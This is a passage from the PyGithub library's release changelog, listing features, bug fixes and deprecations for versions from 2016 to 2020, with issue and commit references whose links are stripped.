Add type stub for Repository.create_fork (`#1638 `_) (`de386dfb `_) * Correct Repository.create_pull typing harder (`#1635 `_) (`5ad091d0 `_) Version 1.52 (August 03, 2020) ----------------------------------- * upload_asset with data in memory (`#1601 `_) (`a7786393 `_) * Make Issue.closed_by nullable (`#1629 `_) (`06dae387 `_) * Add support for workflow dispatch event (`#1625 `_) (`16850ef1 `_) * Do not check reaction_type before sending (`#1592 `_) (`136a3e80 `_) * Various Github Action improvement (`#1610 `_) (`416f2d0f `_) * more flexible header splitting (`#1616 `_) (`85e71361 `_) * Create Dependabot config file (`#1607 `_) (`e272f117 `_) * Add support for deployment statuses (`#1588 `_) (`048c8a1d `_) * Adds the 'twitter_username' attribute to NamedUser. (`#1585 `_) (`079f75a7 `_) * Create WorkflowRun.timing namedtuple from the dict (`#1587 `_) (`1879518e `_) * Add missing properties to PullRequest.pyi (`#1577 `_) (`c84fad81 `_) * Add support for Workflow Runs (`#1583 `_) (`4fb1d23f `_) * More precise typing for Repository.create_pull (`#1581 `_) (`4ed7aaf8 `_) * Update sphinx-rtd-theme requirement from <0.5 to <0.6 (`#1563 `_) (`f9e4feeb `_) * More precise typing for MainClass.get_user() (`#1575 `_) (`3668f866 `_) * Small documentation correction in Repository.py (`#1565 `_) (`f0f6ec83 `_) * Remove "api_preview" parameter from type stubs and docstrings (`#1559 `_) (`cc1b884c `_) * Upgrade actions/setup-python to v2 (`#1555 `_) (`6f1640d2 `_) * Clean up tests for GitReleaseAsset (`#1546 `_) (`925764ad `_) * Repository.update_file() content also accepts bytes (`#1543 `_) (`9fb8588b `_) * Fix Repository.get_issues stub (`#1540 `_) (`b40b75f8 `_) * Check all arguments of NamedUser.get_repos() (`#1532 `_) (`69bfc325 `_) * Correct Workflow typing (`#1533 `_) (`f41c046f `_) * Remove RateLimit.rate (`#1529 `_) (`7abf6004 `_) * PullRequestReview is not a completable object (`#1528 `_) (`19fc43ab `_) * Test more attributes (`#1526 `_) (`52ec366b `_) * Remove pointless setters in GitReleaseAsset (`#1527 `_) (`1dd1cf9c `_) * Drop some unimplemented methods in GitRef (`#1525 `_) (`d4b61311 `_) * Remove unneeded duplicate string checks in Branch (`#1524 `_) (`61b61092 `_) * Turn on coverage reporting for codecov (`#1522 `_) (`e79b9013 `_) * Drastically increase coverage by checking repr() (`#1521 `_) (`291c4630 `_) * Fixed formatting of docstrings for `Repository.create_git_tag_and_release()` and `StatsPunchCard`. (`#1520 `_) (`ce400bc7 `_) * Remove Repository.topics (`#1505 `_) (`53d58d2b `_) * Small improvements to typing (`#1517 `_) (`7b20b13d `_) * Correct Repository.get_workflows() (`#1518 `_) (`8727003f `_) * docs(repository): correct releases link (`#1514 `_) (`f7cc534d `_) * correct Repository.stargazers_count return type to int (`#1513 `_) (`b5737d41 `_) * Fix two RST warnings in Webhook.rst (`#1512 `_) (`5a8bc203 `_) * Filter FutureWarning for 2 test cases (`#1510 `_) (`09a1d9e4 `_) * Raise a FutureWarning on use of client_{id,secret} (`#1506 `_) (`2475fa66 `_) * Improve type signature for create_from_raw_data (`#1503 `_) (`c7b5eff0 `_) * feat(column): move, edit and delete project columns (`#1497 `_) (`a32a8965 `_) * Add support for Workflows (`#1496 `_) (`a1ed7c0e `_) * Add create_repository_dispatch to typing files (`#1502 `_) (`ba9d59c2 `_) * Add OAuth support for GitHub applications (`4b437110 `_) * Create AccessToken entity (`4a6468aa `_) * Extend installation attributes (`61808da1 `_) Version 1.51 (May 03, 2020) ----------------------------------- * Type stubs are now packaged with the build (`#1489 `_) (`6eba4506 `_) * Travis CI is now dropped in favor of Github workflow (`#1488 `_) (`d6e77ba1 `_) * Get the project column by id (`#1466 `_) (`63855409 `_) Version 1.50 (April 26, 2020) ----------------------------------- New features ^^^^^^^^^^^^ * PyGithub now supports type checking thanks to (`#1231 `_) (`91433fe9 `_) * Slack is now the main channel of communication rather than Gitter (`6a6e7c26 `_) * Ability to retrieve public events (`#1481 `_) (`5cf9950b `_) * Add and handle the maintainer_can_modify attribute in PullRequest (`#1465 `_) (`e0997b43 `_) * List matching references (`#1471 `_) (`d3bc6a5c `_) * Add create_repository_dispatch (`#1449 `_) (`edcbdfda `_) * Add some Organization and Repository attributes. (`#1468 `_) (`3ab97d61 `_) * Add create project method (`801ea385 `_) Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Drop use of shadow-cat for draft PRs (`#1469 `_) (`84bb69ab `_) * AuthenticatedUser.get_organization_membership() should be str (`#1473 `_) (`38b34db5 `_) * Drop documentation for len() of PaginatedList (`#1470 `_) (`70462598 `_) * Fix param name of projectcard's move function (`#1451 `_) (`bafc4efc `_) * Correct typos found with codespell (`#1467 `_) (`83bef0f7 `_) * Export IncompletableObject in the github namespace (`#1450 `_) (`0ebdbb26 `_) * Add GitHub Action workflow for checks (`#1464 `_) (`f1401c15 `_) * Drop unneeded ignore rule for flake8 (`#1454 `_) (`b4ca9177 `_) * Use pytest to parametrize tests (`#1438 `_) (`d2e9bd69 `_) Version 1.47 (March 15, 2020) ----------------------------------- Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Add support to edit and delete a project (`#1434 `_) (`f11f7395 `_) * Add method for fetching pull requests associated with a commit (`#1433 `_) (`0c55381b `_) * Add "get_repo_permission" to Team class (`#1416 `_) (`219bde53 `_) * Add list projects support, update tests (`#1431 `_) (`e44d11d5 `_) * Don't transform completely in PullRequest.*assignees (`#1428 `_) (`b1c35499 `_) * Add create_project support, add tests (`#1429 `_) (`bf62f752 `_) * Add draft attribute, update test (`bd285248 `_) * Docstring for Repository.create_git_tag_and_release (`#1425 `_) (`bfeacded `_) * Create a tox docs environment (`#1426 `_) (`b30c09aa `_) * Add Deployments API (`#1424 `_) (`3d93ee1c `_) * Add support for editing project cards (`#1418 `_) (`425280ce `_) * Add draft flag parameter, update tests (`bd0211eb `_) * Switch to using pytest (`#1423 `_) (`c822dd1c `_) * Fix GitMembership with a hammer (`#1420 `_) (`f2939eb7 `_) * Add support to reply to a Pull request comment (`#1374 `_) (`1c82573d `_) * PullRequest.update_branch(): allow expected_head_sha to be empty (`#1412 `_) (`806130e9 `_) * Implement ProjectCard.delete() (`#1417 `_) (`aeb27b78 `_) * Add pre-commit plugin for black/isort/flake8 (`#1398 `_) (`08b1c474 `_) * Add tox (`#1388 `_) (`125536fe `_) * Open file in text mode in scripts/add_attribute.py (`#1396 `_) (`0396a493 `_) * Silence most ResourceWarnings (`#1393 `_) (`dd31a706 `_) * Assert more attributes in Membership (`#1391 `_) (`d6dee016 `_) * Assert on changed Repository attributes (`#1390 `_) (`6e3ceb19 `_) * Add reset to the repr for Rate (`#1389 `_) (`0829af81 `_) Version 1.46 (February 11, 2020) ----------------------------------- Important ^^^^^^^^^ Python 2 support has been removed. If you still require Python 2, use 1.45. Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Add repo edit support for delete_branch_on_merge (`#1381 `_) (`9564cd4d `_) * Fix mistake in Repository.create_fork() (`#1383 `_) (`ad040baf `_) * Correct two attributes in Invitation (`#1382 `_) (`882fe087 `_) * Search repo issues by string label (`#1379 `_) (`4ae1a1e5 `_) * Correct Repository.create_git_tag_and_release() (`#1362 `_) (`ead565ad `_) * exposed seats and filled_seats for Github Organization Plan (`#1360 `_) (`06a300ae `_) * Repository.create_project() body is optional (`#1359 `_) (`0e09983d `_) * Implement move action for ProjectCard (`#1356 `_) (`b11add41 `_) * Tidy up ProjectCard.get_content() (`#1355 `_) (`dd80a6c0 `_) * Added nested teams and parent (`#1348 `_) (`eacabb2f `_) * Correct parameter for Label.edit (`#1350 `_) (`16e5f989 `_) * doc: example of Pull Request creation (`#1344 `_) (`d5ad09ae `_) * Fix PyPI wheel deployment (`#1330 `_) (`4561930b `_) Version 1.45 (December 29, 2019) ----------------------------------- Important ^^^^^^^^^ * This is the last release of PyGithub that will support Python 2. Breaking Changes ^^^^^^^^^^^^^^^^ * Branch.edit_{user,team}_push_restrictions() have been removed * The new API is: - Branch.add_{user,team}_push_restrictions() to add new members - Branch.replace_{user,team}_push_restrictions() to replace all members - Branch.remove_{user,team}_push_restrictions() to remove members * The api_preview parameter to Github() has been removed. Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Allow sha=None for InputGitTreeElement (`#1327 `_) (`60464f65 `_) * Support github timeline events. (`#1302 `_) (`732fd26a `_) * Update link to GitHub Enterprise in README (`#1324 `_) (`e1537f79 `_) * Cleanup travis config (`#1322 `_) (`8189a538 `_) * Add support for update branch (`#1317 `_) (`baddb719 `_) * Refactor Logging tests (`#1315 `_) (`b0ef1909 `_) * Fix rtd build (`b797cac0 `_) * Add .git-blame-ignore-revs (`573c674b `_) * Apply black to whole codebase (`#1303 `_) (`6ceb9e9a `_) * Fix class used returning pull request comments (`#1307 `_) (`f8e33620 `_) * Support for create_fork (`#1306 `_) (`2ad51f35 `_) * Use Repository.get_contents() in tests (`#1301 `_) (`e40768e0 `_) * Allow GithubObject.update() to be passed headers (`#1300 `_) (`989b635e `_) * Correct URL for assignees on PRs (`#1296 `_) (`3170cafc `_) * Use inclusive ordered comparison for 'parameterized' requirement (`#1281 `_) (`fb19d2f2 `_) * Deprecate Repository.get_dir_contents() (`#1285 `_) (`21e89ff1 `_) * Apply some polish to manage.sh (`#1284 `_) (`3a723252 `_) Version 1.44.1 (November 07, 2019) ----------------------------------- * Add Python 3.8 to classifiers list (`#1280 `_) (`fec6034a `_) * Expand Topic class and add test coverage (`#1252 `_) (`ac682742 `_) * Add support for team discussions (`#1246 `_) (#1249) (`ec3c8d7b `_) * Correct API for NamedUser.get_organization_membership (`#1277 `_) (`077c80ba `_) * Correct header check for 2FA required (`#1274 `_) (`6ad592b1 `_) * Use replay framework for Issue142 test (`#1271 `_) (`4d258d93 `_) * Sync httpretty version requirement with setup.py (`#1265 `_) (`99d38468 `_) * Handle unicode strings when recording responses (`#1253 `_) (#1254) (`faa1bbd6 `_) * Add assignee removal/addition support to PRs (`#1241 `_) (`a163ba15 `_) * Check if the version is empty in manage.sh (`#1268 `_) (`db294837 `_) * Encode content for {create,update}_file (`#1267 `_) (`bc225f9d `_) * Update changes.rst (`#1263 `_) (`d7947d82 `_) Version 1.44 (October 19, 2019) ----------------------------------- New features ^^^^^^^^^^^^ * This version supports running under Python 3 directly, and the test suite passes under both 2.7 and recent 3.x's. Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Stop ignoring unused imports and remove them (`#1250 `_) (`a0765083 `_) * Bump httpretty to be a greater or equal to (`#1262 `_) (`27092fb0 `_) * Add close all issues example (`#1256 `_) (`13e2c7c7 `_) * Add six to install_requires (`#1245 `_) (`a840a906 `_) * Implemented user organization membership. Added test case. (`#1237 `_) (`e50420f7 `_) * Create DEPLOY.md (`c9ed82b2 `_) * Support non-default URLs in GithubIntegration (`#1229 `_) (`e33858a3 `_) * Cleanup try/except import in PaginatedList (`#1228 `_) (`89c967bb `_) * Add an IncompletableObject exception (`#1227 `_) (`f91cbac2 `_) * Fix redundant int checks (`#1226 `_) (`850da5af `_) * Jump from notifications to related PRs/issues. (`#1168 `_) (`020fbebc `_) * Code review bodies are optional in some cases. (`#1169 `_) (`b84d9b19 `_) * Update changes.rst (`#1223 `_) (`2df7269a `_) * Do not auto-close issues with high priority tag (`ab27ba4d `_) * Fix bug in repository create new file example PyGithub#1210 (`#1211 `_) (`74cd6856 `_) * Remove more Python version specific code (`#1193 `_) (`a0f01cf9 `_) * Drop use of assertEquals (`#1194 `_) (`7bac694a `_) * Fix PR review creation. (`#1184 `_) (`e90cdab0 `_) * Add support to vulnerability alert and automated security fixes APIs (`#1195 `_) (`8abd50e2 `_) * Delete Legacy submodule (`#1192 `_) (`7ddb657d `_) * Remove some uses of atLeastPython3 (`#1191 `_) (`cca8e3a5 `_) * Run flake8 in Travis (`#1163 `_) (`f93207b4 `_) * Fix directories for coverage in Travis (`#1190 `_) (`657f87b5 `_) * Switch to using six (`#1189 `_) (`dc2f2ad8 `_) * Update Repository.update_file() docstring (`#1186 `_) (`f1ae7200 `_) * Correct return type of MainClass.get_organizations (`#1179 `_) (`6e79d270 `_) * Add cryptography to test-requirements.txt (`#1165 `_) (`9b1c1e09 `_) Version 1.43.8 (July 20, 2019) ----------------------------------- New features ^^^^^^^^^^^^ * Add two factor attributes on organizations (`#1132 `_) (`a0731685 `_) * Add Repository methods for pending invitations (`#1159 `_) (`57af1e05 `_) * Adds `get_issue_events` to `PullRequest` object (`#1154 `_) (`acd515aa `_) * Add invitee and inviter to Invitation (`#1156 `_) (`0f2beaca `_) * Adding support for pending team invitations (`#993 `_) (`edab176b `_) * Add support for custom base_url in GithubIntegration class (`#1093 `_) (`6cd0d644 `_) * GithubIntegration: enable getting installation (`#1135 `_) (`18187045 `_) * Add sorting capability to Organization.get_repos() (`#1139 `_) (`ef6f009d `_) * Add new Organization.get_team_by_slug method (`#1144 `_) (`4349bca1 `_) * Add description field when creating a new team (`#1125 `_) (`4a37860b `_) * Handle a path of / in Repository.get_contents() (`#1070 `_) (`102c8208 `_) * Add issue lock/unlock (`#1107 `_) (`ec7bbcf5 `_) Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Fix bug in recursive repository contents example (`#1166 `_) (`8b6b4505 `_) * Allow name to be specified for upload_asset (`#1151 `_) (`8d2a6b53 `_) * Fixes #1106 for GitHub Enterprise API (`#1110 `_) (`54065792 `_) Deprecation ^^^^^^^^^^^ * Repository.get_file_contents() no longer works use Repository.get_contents() instead Version 1.43.7 (April 16, 2019) ----------------------------------- * Exclude tests from PyPI distribution (`#1031 `_) (`78d283b9 `_) * Add codecov badge (`#1090 `_) (`4c0b54c0 `_) Version 1.43.6 (April 05, 2019) ----------------------------------- New features ^^^^^^^^^^^^ * Add support for Python 3.7 (`#1028 `_) (`6faa00ac `_) * Adding HTTP retry functionality via urllib3 (`#1002 `_) (`5ae7af55 `_) * Add new dismiss() method on PullRequestReview (`#1053 `_) (`8ef71b1b `_) * Add since and before to `get_notifications` (`#1074 `_) (`7ee6c417 `_) * Add url parameter to include anonymous contributors in `get_contributors` (`#1075 `_) (`293846be `_) * Provide option to extend expiration of jwt token (`#1068 `_) (`86a9d8e9 `_) Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Fix the default parameter for `PullRequest.create_review` (`#1058 `_) (`118def30 `_) * Fix `get_access_token` (`#1042 `_) (`6a89eb64 `_) * Fix `Organization.add_to_members` role passing (`#1039 `_) (`480f91cf `_) Deprecation ^^^^^^^^^^^ * Remove Status API (`6efd6318 `_) Version 1.43.5 (January 29, 2019) ----------------------------------- * Add project column create card (`#1003 `_) (`5f5c2764 `_) * Fix request got an unexpected keyword argument body (`#1012 `_) (`ff789dcc `_) * Add missing import to PullRequest (`#1007 `_) (`b5122768 `_) Version 1.43.4 (December 21, 2018) ----------------------------------- New features ^^^^^^^^^^^^ * Add Migration API (`#899 `_) (`b4d895ed `_) * Add Traffic API (`#977 `_) (`a433a2fe `_) * New in Project API: create repository project, create project column (`#995 `_) (`1c0fd97d `_) Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Change type of GitRelease.author to NamedUser (`#969 `_) (`aca50a75 `_) * Use total_count from data in PaginatedList (`#963 `_) (`ec177610 `_) Version 1.43.3 (October 31, 2018) ----------------------------------- New features ^^^^^^^^^^^^ * Add support for JWT authentication (`#948 `_) (`8ccf9a94 `_) * Added support for required signatures on protected branches (`#939 `_) (`8ee75a28 `_) * Ability to filter repository collaborators (`#938 `_) (`5687226b `_) * Mark notification as read (`#932 `_) (`0a10d7cd `_) * Add highlight search to ``search_code`` function (`#925 `_) (`1fa25670 `_) * Adding ``suspended_at`` property to NamedUSer (`#922 `_) (`c13b43ea `_) * Add since parameter for Gists (`#914 `_) (`e18b1078 `_) Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Fix missing parameters when reversing ``PaginatedList`` (`#946 `_) (`60a684c5 `_) * Fix unable to trigger ``RateLimitExceededException``. (`#943 `_) (`972446d5 `_) * Fix inconsistent behavior of trailing slash usage in file path (`#931 `_) (`ee9f098d `_) * Fix handling of 301 redirects (`#916 `_) (`6833245d `_) * Fix missing attributes of ``get_repos`` for authenticated users (`#915 `_) (`c411196f `_) * Fix ``Repository.edit`` (`#904 `_) (`7286eec0 `_) * Improve ``__repr__`` method of Milestone class (`#921 `_) (`562908cb `_) * Fix rate limit documentation change (`#902 `_) (`974d1ec5 `_) * Fix comments not posted in create_review() (`#909 `_) (`a18eeb3a `_) Version 1.43.2 (September 12, 2018) ----------------------------------- * Restore ``RateLimit.rate`` attribute, raise deprecation warning instead (`d92389be `_) Version 1.43.1 (September 11, 2018) ----------------------------------- New feature: * Add support for Projects (`#854 `_) (`faca4ce1 `_) Version 1.43 (September 08, 2018) ----------------------------------- Bug Fixes ^^^^^^^^^ * ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (`#858 `_) (`43d325a5 `_) * Fixed ``Gistfile.content`` (`#486 `_) (`e1df09f7 `_) * Restored NamedUser.contributions attribute (`#865 `_) (`b91dee8d `_) New features ^^^^^^^^^^^^ * Add support for repository topics (`#832 `_) (`c6802b51 `_) * Add support for required approving review count (`#888 `_) (ef16702) * Add ``Organization.invite_user`` (880)(eb80564) * Add support for search/graphql rate limit (fd8a036) + Deprecated ``RateLimit.rate`` + Add `RateLimit.core `__, `RateLimit.search `__ and `RateLimit.graphql `__ * Add Support search by topics (`#893 `_) (3ce0418) * Branch Protection API overhaul (`#790 `_) (`171cc567 `_) + (**breaking**) Removed Repository.protect_branch + Add `BranchProtection `__ + Add `RequiredPullRequestReviews `__ + Add `RequiredStatusChecks `__ + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc Improvements ^^^^^^^^^^^^ * Add missing arguments to ``Repository.edit`` (`#844 `_) (`29d23151 `_) * Add missing attributes to Repository (`#842 `_) (`2b352fb3 `_) * Adding archival support for ``Repository.edit`` (`#843 `_) (`1a90f5db `_) * Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (`#834 `_) (`790f7dae `_) * Allow editing of Team descriptions (`#839 `_) (`c0021747 `_) * Add description to Organizations (`#838 `_) (`1d918809 `_) * Add missing attributes for IssueEvent (`#857 `_) (7ac2a2a) * Change ``MainClass.get_repo`` default laziness (`#882 `_) (6732517) Deprecation ^^^^^^^^^^^ * Removed Repository.get_protected_branch (`#871 `_) (49db6f8) Version 1.42 (August 19, 2018) ----------------------------------- * Fix travis upload issue Bug Fixes ^^^^^^^^^ * ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (`#858 `_) (`43d325a5 `_) * Fixed ``Gistfile.content`` (`#486 `_) (`e1df09f7 `_) * Restored NamedUser.contributions attribute (`#865 `_) (`b91dee8d `_) New features * Add support for repository topics (`#832 `_) (`c6802b51 `_) * Branch Protection API overhaul (`#790 `_) (`171cc567 `_) + (**breaking**) Removed Repository.protect_branch + Add `BranchProtection `__ + Add `RequiredPullRequestReviews `__ + Add `RequiredStatusChecks `__ + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc Improvements * Add missing arguments to ``Repository.edit`` (`#844 `_) (`29d23151 `_) * Add missing properties to Repository (`#842 `_) (`2b352fb3 `_) * Adding archival support for ``Repository.edit`` (`#843 `_) (`1a90f5db `_) * Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (`#834 `_) (`790f7dae `_) * Allow editing of Team descriptions (`#839 `_) (`c0021747 `_) * Add description to Organizations (`#838 `_) (`1d918809 `_) Version 1.41 (August 19, 2018) ----------------------------------- Bug Fixes ^^^^^^^^^ * ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (`#858 `_) (`43d325a5 `_) * Fixed ``Gistfile.content`` (`#486 `_) (`e1df09f7 `_) * Restored NamedUser.contributions attribute (`#865 `_) (`b91dee8d `_) New features * Add support for repository topics (`#832 `_) (`c6802b51 `_) * Branch Protection API overhaul (`#790 `_) (`171cc567 `_) + (**breaking**) Removed Repository.protect_branch + Add `BranchProtection `__ + Add `RequiredPullRequestReviews `__ + Add `RequiredStatusChecks `__ + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc Improvements * Add missing arguments to ``Repository.edit`` (`#844 `_) (`29d23151 `_) * Add missing properties to Repository (`#842 `_) (`2b352fb3 `_) * Adding archival support for ``Repository.edit`` (`#843 `_) (`1a90f5db `_) * Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (`#834 `_) (`790f7dae `_) * Allow editing of Team descriptions (`#839 `_) (`c0021747 `_) * Add description to Organizations (`#838 `_) (`1d918809 `_) Version 1.40 (June 26, 2018) ----------------------------------- * Major enhancement: use requests for HTTP instead of httplib (`#664 `_) (`9aed19dd `_) * Test Framework improvement (`#795 `_) (`faa8f205 `_) * Handle HTTP 202 HEAD & GET with a retry (`#791 `_) (`3aead158 `_) * Fix github API requests after asset upload (`#771 `_) (`8bdac23c `_) * Add remove_membership() method to Teams class (`#807 `_) (`817f2230 `_) * Add check-in to projects using PyGithub (`#814 `_) (`05f49a59 `_) * Include target_commitish in GitRelease (`#788 `_) (`ba5bf2d7 `_) * Fix asset upload timeout, increase default timeout from 10s to 15s (`#793 `_) (`140c6480 `_) * Fix Team.description (`#797 `_) (`0e8ae376 `_) * Fix Content-Length invalid headers exception (`#787 `_) (`23395f5f `_) * Remove NamedUser.contributions (`#774 `_) (`a519e467 `_) * Add ability to skip SSL cert verification for Github Enterprise (`#758 `_) (`85a9124b `_) * Correct Repository.get_git_tree recursive use (`#767 `_) (`bd0cf309 `_) * Re-work PullRequest reviewer request (`#765 `_) (`e2e29918 `_) * Add support for team privacy (`#763 `_) (`1f23c06a `_) * Add support for organization outside collaborators (`#533 `_) (`c4446996 `_) * PullRequest labels should use Issues URL (`#754 `_) (`678b6b20 `_) * Support labels for PullRequests (`#752 `_) (`a308dc92 `_) * Add get_organizations() (`#748 `_) (`1e0150b5 `_) Version 1.39 (April 10, 2018) ----------------------------------- * Add documentation to github.Repository.Repository.create_git_release() (`#747 `_) (`a769c2ff `_) * Add add_to_members() and remove_from_membership() (`#741 `_) (`4da483d1 `_) * Documentation: clarify semantics of get_comments (`#743 `_) (`fec3c943 `_) * Add download_url to ContentFile, closes #575 (`ca6fbc45 `_) * Add PullRequestComment.in_reply_to_id (`#718 `_) (`eaa6a508 `_) * Add team privacy parameter to create team (`#702 `_) (`5cb5ab71 `_) * Implement License API (`#734 `_) (`b54ccc78 `_) * Fix delete method for RepositoryKey (`911bf615 `_) * Remove edit for UserKey (`722f2534 `_) * Labels API: support description (`#738 `_) (`42e75938 `_) * Added Issue.as_pull_request() and PullReqest.as_issue() (`#630 `_) (`6bf2acc7 `_) * Documentation: sort the Github Objects (`#735 `_) (`1497e826 `_) * Add support for getting PR single review's comments. (`#670 `_) (`612c3500 `_) * Update the RepositoryKey class (`#530 `_) (`5e8c6832 `_) * Added since to PR review comments get (`#577 `_) (`d8508285 `_) * Remove some duplicate attributes introduced in #522 (`566b28d3 `_) * Added tarball_url, zipball_url, prerelease and draft property (`#522 `_) (`c76e67b7 `_) * Source Import API (`#673 `_) (`864c663a `_) Version 1.38 (March 21, 2018) ----------------------------------- * Updated readthedocs, PyPI to reflect latest version * Added option to create review for Pull request (`#662 `_) (`162f0397 `_) * Depreciate legacy search API (`3cd176e3 `_) * Filter team members by role (`#491 `_) (`10ee17a2 `_) * Add url attribute to PullRequestReview object (`#731 `_) (`0fb176fd `_) * Added target_commitish option to Repository.create_git_release() (`#625 `_) (`0f0a7d4e `_) * Fix broken Github reference link in class docstrings (`a32a17bf `_) * Add hook support for organizations (`#729 `_) (`c7f6563c `_) * Get organization from the team (`#590 `_) (`d9c5a07f `_) * Added search_commits (`#727 `_) (`aa556f85 `_) * Collaborator site admin (`#719 `_) (`f8b23505 `_) * Fix add_to_watched for AuthenticatedUser (`#716 `_) (`6109eb3c `_) Version 1.37 (March 03, 2018) ----------------------------------- * Add __eq__ and __hash__ to NamedUser (`#706 `_) (`8a13b274 `_) * Add maintainer can modify flag to create pull request (`#703 `_) (`0e5a1d1d `_) * Fix typo in Design.md (`#701 `_) (`98d32af4 `_) * Add role parameter to Team.add_membership method (`#638 `_) (`01ab4cc6 `_) * Add add_membership testcase (`#637 `_) (`5a1424bb `_) Version 1.36 (February 02, 2018) ----------------------------------- * Fix changelog generation (`5d911e22 `_) * Add collaborator permission support (`#699 `_) (`167f85ef `_) * Use datetime object in create_milestone (`#698 `_) (`cef98416 `_) * Fix date format for milestone creation (`#593 `_) (`e671fdd0 `_) * Remove the default "null" input send during GET request (`#691 `_) (`cbfe8d0f `_) * Updated PullRequest reviewer request according to API changes (`#690 `_) (`5c9c2f75 `_) * make created_at/published_at attrs available for Release objects (`#689 `_) (`2f9b1e01 `_) * Add committer/author to Repository.delete_file (`#678 `_) (`3baa682c `_) * Add method to get latest release of a repository (`#609 `_) (`45d18436 `_) * Add permissions field to NamedUser (`#676 `_) (`6cfe46b7 `_) * Fix all pep8 coding conventions (`6bc804dc `_) * Add new params for /users/:user/repos endpoint (`89834a9b `_) * Add support for changing PR head commit (`#632 `_) (`3f77e537 `_) * Use print() syntax in README (`#681 `_) (`c5988c39 `_) * Add PyPI badge and installation instructions to README (`#682 `_) (`3726f686 `_) * Drop support for EOL Python 2.5-2.6 and 3.2-3.3 (`#674 `_) (`6735be49 `_) * Add Reactions feature (`#671 `_) (`ba50af53 `_) * Add ping_url and ping to Hook (`#669 `_) (`6169d8ea `_) * Add Repository.archived property (`#657 `_) (`35333e03 `_) * Add unit test for tree attribute of GitCommit (`#668 `_) (`e5bfdbeb `_) * Add read_only attribute to Deploy Keys (`#570 `_) (`dbc6f5ab `_) * Doc create instance from token (`#667 `_) (`c33a3883 `_) * Fix uploading binary files on Python 3 (`#621 `_) (`317079ef `_) * Decode jwt bytes object in Python 3 (`#633 `_) (`84b43da7 `_) * Remove broken downloads badge (`#644 `_) (`15cdc2f8 `_) * Added missing parameters for repo creation (`#623 `_) (`5c41120a `_) * Add ability to access github Release Asset API. (`#525 `_) (`52449649 `_) * Add 'submitted at' to PullRequestReview (`#565 `_) (`ebe7277a `_) * Quote path for /contents API (`#614 `_) (`554c1ab1 `_) * Add Python 3.6 (`2533bed9 `_) * Add Python 3.6 (`e78f0ece `_) * Updated references in introduction.rst (`d2c72bb3 `_) * fix failing tests on py26 (`291f6dde `_) * Import missing exception (`67b078e9 `_) Version 1.35 (July 10, 2017) ----------------------------------- * Add Support for repository collaborator invitations. Version 1.34 (abril 04, 2017) ----------------------------------- * Add Support for Pull Request Reviews feature. Version 1.32 (February 1, 2017) ----------------------------------- * Support for Integrations installation endpoint (`656e70e1 `_) Version 1.31 (January 30, 2017) ----------------------------------- * Support HTTP 302 redirect in Organization.has_in_members (0154c6b) * Add details of repo type for get_repos documentation (f119147) * Note explicit support for Python 3.5 (3ae55f0) * Fix README instructions (5b0224e) * An easier to see link to the documentation in response to issue #480. (6039a4b) * Encode GithubObject repr values in utf-8 when using Python2 (8ab9082) * Updated documentation (4304ccd) * Added a subscribers count field (a2da7f9) * Added "add_to_assignees" & "remove_from_assignees" method to Issue object. (66430d7) * Added "assignees" attribute to PullRequest object. (c0de6be) * add html_url to GitRelease (ec633aa) * Removed unused imports (65afc3f) * Fix typo in a constant (10a28e0) * Fix changelog formatting glitch (03a9227) * Added "assignees" argument in Repository.create_issue() (ba007dc) * Enhance support of "assignees" argument in Issue.edit() (14dd9f0) * Added "assignees" attribute to Issue object. (e0e5fdf) Version 1.30 (January 30, 2017) ----------------------------------- * adds GitHub integrations (d60943d) Version 1.29 (October 10, 2016) ----------------------------------- * add issue assignee param (3a8edc7) * Fix different case (fcf6cfb) * DOC: remove easy_install suggestion; update links (45e76d9) * Add permission param documentation (9347345) * Add ability to set permission for team repo (5dddea7) * Fix status check (073bb44) * adds support for content dirs (0799753) Version 1.28 (September 09, 2016) ----------------------------------- * test against python 3.5 (5d35284) * sort params and make them work on py3 (78374b9) * adds a nicer __repr__ (8571d87) * Add missing space (464259d) * Properly handle HTTP Proxy authentication with Python 3 (d015154) * Fix small typo (987bca0) * push to 'origin' instead of 'github' (d640666) Version 1.27.1 (August 12, 2016) ----------------------------------- * upgrade release process based on travis (3c20a66) * change file content encoding to support unicode(like chinese), py2 (5404030) * adds missing testfile corrections (9134aa2) * fixed file API return values (0f29a53) * assert by str and unicode to make it more py3 friendly (7390827) * Patch issue 358 status context (`#428 `_) (70e30c5) * Adding "since" param to Issue.get_comments() (`#426 `_) (3c6f99f) * update doc url everywhere (`#420 `_) (cb0cf0a) * fix a couple typos to be clearer (`#419 `_) (23c0e75) * Document how one gets an AuthenticatedUser object (ba66862) * fix wrong expectance on requestJsonAndCheck() returning {} if no data (8985368) * Add previous_filename property to File (e1be1e6) * add changelog entry for 1.26.0 (a1f3de2) * update project files (be2e98b) * fix update/create/delete file api return value issue (8bb765a) * fix typo (a7929ac) * fix update/delete/create content return value invalid issue (a0a4511) * Follow redirects in the case of a 301 status code (c29f533) * Fix for pickling exception when deserializing GithubException. (8f8b455) * add support for the head parameter in Repository.get_pulls (397a74d) * Add: - CommitCombinedStatus class - get_combined_status() to Commit class to return combined status - Add test for combined status. (5823ed7) * fix python3 compatibility issue for using json/base64 (5b7f0bb) * remove not covered API from readme (9c6f881) * change replay data for update file test case (46895df) * fix python3 compatibility error in test case (00777db) * Add repo content create/update/delete testcase (4aaeb9e) * add MAINTAINERS file (a16b55b) * travis: disable email (6347157) * 